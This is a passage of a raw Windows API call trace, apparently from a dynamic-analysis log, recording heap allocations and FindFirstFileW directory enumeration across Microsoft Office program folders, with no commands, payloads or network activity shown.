ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe03547c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe03547c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0220.173] GetProcessHeap () returned 0xc10000 [0220.173] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0220.173] GetProcessHeap () returned 0xc10000 [0220.173] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0220.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0220.175] GetProcessHeap () returned 0xc10000 [0220.175] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0220.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0220.178] GetProcessHeap () returned 0xc10000 [0220.178] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0220.178] GetProcessHeap () returned 0xc10000 [0220.178] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0220.179] GetProcessHeap () returned 0xc10000 [0220.179] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0220.180] GetProcessHeap () returned 0xc10000 [0220.180] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0220.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0220.579] GetProcessHeap () returned 0xc10000 [0220.579] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0220.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0220.584] GetProcessHeap () returned 0xc10000 [0220.584] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0220.584] GetProcessHeap () returned 0xc10000 [0220.584] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0220.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0220.588] GetProcessHeap () returned 0xc10000 [0220.588] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0220.588] GetProcessHeap () returned 0xc10000 [0220.588] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0220.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0220.593] GetProcessHeap () returned 0xc10000 [0220.593] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0220.593] GetProcessHeap () returned 0xc10000 [0220.594] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0220.595] GetProcessHeap () returned 0xc10000 [0220.595] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0220.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0220.601] GetProcessHeap () returned 0xc10000 [0220.601] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0220.601] GetProcessHeap () returned 0xc10000 [0220.601] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0220.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0220.606] GetProcessHeap () returned 0xc10000 [0220.606] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0220.607] GetProcessHeap () returned 0xc10000 [0220.607] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0220.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0220.722] GetProcessHeap () returned 0xc10000 [0220.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0220.722] GetProcessHeap () returned 0xc10000 [0220.722] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0220.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0222.715] GetProcessHeap () returned 0xc10000 [0222.715] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0222.715] GetProcessHeap () returned 0xc10000 [0222.715] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0222.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0222.717] GetProcessHeap () returned 0xc10000 [0222.717] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0222.717] GetProcessHeap () returned 0xc10000 [0222.717] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0222.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0223.042] GetProcessHeap () returned 0xc10000 [0223.042] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0223.049] GetProcessHeap () returned 0xc10000 [0223.049] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.049] GetProcessHeap () returned 0xc10000 [0223.049] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0223.050] GetProcessHeap () returned 0xc10000 [0223.050] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.050] GetProcessHeap () returned 0xc10000 [0223.050] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0223.051] GetProcessHeap () returned 0xc10000 [0223.051] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.051] GetProcessHeap () returned 0xc10000 [0223.052] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0223.057] GetProcessHeap () returned 0xc10000 [0223.057] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.057] GetProcessHeap () returned 0xc10000 [0223.057] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0223.058] GetProcessHeap () returned 0xc10000 [0223.058] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0223.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0223.062] GetProcessHeap () returned 0xc10000 [0223.062] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc912a1e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc912a1e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0223.067] GetProcessHeap () returned 0xc10000 [0223.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0223.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0223.069] GetProcessHeap () returned 0xc10000 [0223.069] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0223.069] GetProcessHeap () returned 0xc10000 [0223.069] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0223.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.076] GetProcessHeap () returned 0xc10000 [0223.076] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0223.322] GetProcessHeap () returned 0xc10000 [0223.322] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0223.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0223.327] GetProcessHeap () returned 0xc10000 [0223.327] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0223.327] GetProcessHeap () returned 0xc10000 [0223.327] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0223.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0223.334] GetProcessHeap () returned 0xc10000 [0223.334] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0223.334] GetProcessHeap () returned 0xc10000 [0223.334] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0223.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0223.337] GetProcessHeap () returned 0xc10000 [0223.337] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0223.356] GetProcessHeap () returned 0xc10000 [0223.356] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.356] GetProcessHeap () returned 0xc10000 [0223.356] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0223.357] GetProcessHeap () returned 0xc10000 [0223.357] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.357] GetProcessHeap () returned 0xc10000 [0223.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0223.357] GetProcessHeap () returned 0xc10000 [0223.357] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.357] GetProcessHeap () returned 0xc10000 [0223.357] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0223.358] GetProcessHeap () returned 0xc10000 [0223.358] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.359] GetProcessHeap () returned 0xc10000 [0223.359] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca05e8f8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca05e8f8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0223.362] GetProcessHeap () returned 0xc10000 [0223.362] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0223.362] GetProcessHeap () returned 0xc10000 [0223.362] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xc38a60 [0223.362] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0223.512] GetProcessHeap () returned 0xc10000 [0223.512] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 